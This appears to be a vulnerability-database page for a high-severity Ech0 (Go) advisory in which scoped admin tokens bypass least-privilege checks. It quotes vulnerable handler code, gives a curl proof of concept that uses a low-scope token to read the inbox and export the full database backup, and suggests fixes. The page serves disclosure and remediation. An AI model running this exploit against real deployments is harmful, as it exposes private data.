NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

Ech0: Scoped admin access tokens can bypass least-privilege controls on privileged endpoints, including backup exportGHSA-4h9q-p5j4-xvvh

HIGH

GHSA-4h9q-p5j4-xvvh is a high-severity (CVSS 7.6) CWE-285 vulnerability in github.com/lin-snow/ech0. A fix is available for github.com/lin-snow/ech0 — see the affected versions and patch details below.

Also known asCVE-2026-79667GO-2026-5123
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 1, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-4h9q-p5j4-xvvh.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs25th percentile — riskier than 25% of all scored CVEsHighest risk
0.00%0.27%0.55%0.82%0.2%0.3%0.3%Sep 26Oct 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/lin-snow/ech0

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Ech0 scoped access tokens do not reliably enforce least privilege: multiple privileged admin routes omit scope checks, and the backup export handler strips token scope metadata entirely, allowing a low-scope admin access token to reach broader admin functionality than intended.

Impact

An attacker who obtains a deliberately limited access token for an admin account can use that token to access privileged functionality outside its assigned scope. Confirmed impact includes access to /api/inbox with a token scoped only for echo:read and successful backup export via /api/backup/export?token=..., which returns a full ZIP archive. In practice, this turns a narrowly delegated API token into a broader privileged access and data exfiltration primitive.

Details

The issue is caused by a split authorization model:

  • JWTAuthMiddleware() authenticates the token and stores scope metadata in the viewer context
  • RequireScopes(...) enforces least privilege, but only when a route explicitly adds it
  • several privileged routes omit RequireScopes(...)
  • multiple service methods then authorize using only user.IsAdmin

internal/middleware/scope.go shows that scope enforcement is opt-in:

func RequireScopes(scopes ...string) gin.HandlerFunc {
	return func(ctx *gin.Context) {
		v := viewer.MustFromContext(ctx.Request.Context())
		if v.TokenType() == authModel.TokenTypeSession {
			ctx.Next()
			return
		}
		if v.TokenType() != authModel.TokenTypeAccess { ... }
		if !containsValidAudience(v.Audience()) { ... }
		if !containsAllScopes(v.Scopes(), scopes) { ... }
		ctx.Next()
	}
}

Representative privileged routes omit RequireScopes(...), for example internal/router/inbox.go:

func setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
	appRouterGroup.AuthRouterGroup.GET("/inbox", h.InboxHandler.GetInboxList())
	appRouterGroup.AuthRouterGroup.GET("/inbox/unread", h.InboxHandler.GetUnreadInbox())
	appRouterGroup.AuthRouterGroup.PUT("/inbox/:id/read", h.InboxHandler.MarkInboxAsRead())
	appRouterGroup.AuthRouterGroup.DELETE("/inbox/:id", h.InboxHandler.DeleteInbox())
	appRouterGroup.AuthRouterGroup.DELETE("/inbox", h.InboxHandler.ClearInbox())
}

Other source-confirmed unguarded privileged surfaces include:

  • /api/panel/comments*
  • /api/addConnect
  • /api/delConnect/:id
  • /api/migration/*
  • /api/backup/export

Service-layer authorization often checks only admin role. For example, internal/service/inbox/inbox.go:

func (inboxService *InboxService) ensureAdmin(ctx context.Context) error {
	userid := viewer.MustFromContext(ctx).UserID()
	user, err := inboxService.commonService.CommonGetUserByUserId(ctx, userid)
	if err != nil {
		return err
	}
	if !user.IsAdmin {
		return errors.New(commonModel.NO_PERMISSION_DENIED)
	}
	return nil
}

The backup export path is a stronger variant because it discards token metadata before authorization. internal/handler/backup/backup.go reparses a query token and rebuilds a bare viewer from only the user ID:

func (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc {
	return res.Execute(func(ctx *gin.Context) res.Response {
		token := ctx.Query("token")
		claims, err := jwtUtil.ParseToken(token)
		if err != nil { ... }

		reqCtx := viewer.WithContext(context.Background(), viewer.NewUserViewer(claims.Userid))
		if err := backupHandler.backupService.ExportBackup(ctx, reqCtx); err != nil { ... }
		return res.Response{Msg: commonModel.EXPORT_BACKUP_SUCCESS}
	})
}

This drops token type, scopes, audience, and token ID before the backup service runs.

Proof of concept

1. Start the app

docker run -d \
  --name ech0 \
  -p 6277:6277 \
  -v /opt/ech0/data:/app/data \
  -e JWT_SECRET="Hello Echos" \
  sn0wl1n/ech0:latest

2. Initialize an owner account

curl -sS -X POST "http://127.0.0.1:6277/api/init/owner" \
  -H 'Content-Type: application/json' \
  -d '{"username":"owner","password":"ownerpass","email":"[email protected]"}'

3. Log in as the owner and mint a low-scope access token

owner_token=$(
  curl -sS -X POST "http://127.0.0.1:6277/api/login" \
    -H 'Content-Type: application/json' \
    -d '{"username":"owner","password":"ownerpass"}' \
  | sed -n 's/.*"data":"\([^"]*\)".*/\1/p'
)

low_scope_admin_token=$(
  curl -sS -X POST "http://127.0.0.1:6277/api/access-tokens" \
    -H 'Content-Type: application/json' \
    -H "Authorization: Bearer $owner_token" \
    -d '{"name":"echo-read-only","expiry":"8_hours","scopes":["echo:read"],"audience":"cli"}' \
  | sed -n 's/.*"data":"\([^"]*\)".*/\1/p'
)

4. Use the low-scope token on an unguarded admin route

curl -sS "http://127.0.0.1:6277/api/inbox" \
  -H "Authorization: Bearer $low_scope_admin_token"

Observed response:

{"code":1,"msg":"获取收件箱成功","data":{"total":0,"items":[]}}

5. Use the same low-scope token on backup export

curl "http://127.0.0.1:6277/api/backup/export?token=$low_scope_admin_token"

Observed response:

<img width="585" height="111" alt="image" src="https://github.com/user-attachments/assets/28dd7037-163b-4d7c-8994-a719220b3a6c" />

Try to unzip we will have log and database file:

->% unzip a.zip -d a
Archive:  a.zip
  inflating: a/app.log               
  inflating: a/ech0.db  

Recommended fix

Apply scope enforcement to every privileged route, move backup export behind the authenticated router group, and preserve the existing authenticated viewer context instead of rebuilding identity from raw JWT claims.

Suggested route-level changes:

import (
	"github.com/lin-snow/ech0/internal/handler"
	"github.com/lin-snow/ech0/internal/middleware"
	authModel "github.com/lin-snow/ech0/internal/model/auth"
)

func setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
	appRouterGroup.AuthRouterGroup.GET(
		"/inbox",
		middleware.RequireScopes(authModel.ScopeAdminSettings),
		h.InboxHandler.GetInboxList(),
	)
	// Apply the same pattern to the remaining inbox routes.
}

func setupCommonRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
	appRouterGroup.AuthRouterGroup.GET(
		"/backup/export",
		middleware.RequireScopes(authModel.ScopeAdminSettings),
		h.BackupHandler.ExportBackup(),
	)
}

Suggested handler fix for internal/handler/backup/backup.go:

func (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc {
	return res.Execute(func(ctx *gin.Context) res.Response {
		if err := backupHandler.backupService.ExportBackup(ctx, ctx.Request.Context()); err != nil {
			return res.Response{
				Msg: "",
				Err: err,
			}
		}

		return res.Response{
			Msg: commonModel.EXPORT_BACKUP_SUCCESS,
		}
	})
}

The same principle should be applied to other privileged services: do not authorize only on user.IsAdmin; also validate scopes carried by access tokens.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/lin-snow/ech0all versions4.3.5go get github.com/lin-snow/ech0@v4.3.5

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lin-snow/ech0, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/lin-snow/ech0 to 4.3.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4h9q-p5j4-xvvh is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

## Summary Ech0 scoped access tokens do not reliably enforce least privilege: multiple privileged admin routes omit scope checks, and the backup export handler strips token scope metadata entirely, allowing a low-scope admin access token to reach broader admin functionality than intended. ## Impact An attacker who obtains a deliberately limited access token for an admin account can use that token to access privileged functionality outside its assigned scope. Confirmed impact includes access to `/api/inbox` with a token scoped only for `echo:read` and successful backup export via `/api/backu
O3 Security · Impact-Aware SCA

Is GHSA-4h9q-p5j4-xvvh in your dependencies?

Find it across Go, including transitive dependencies.

Ech0: Scoped admin access tokens can bypass…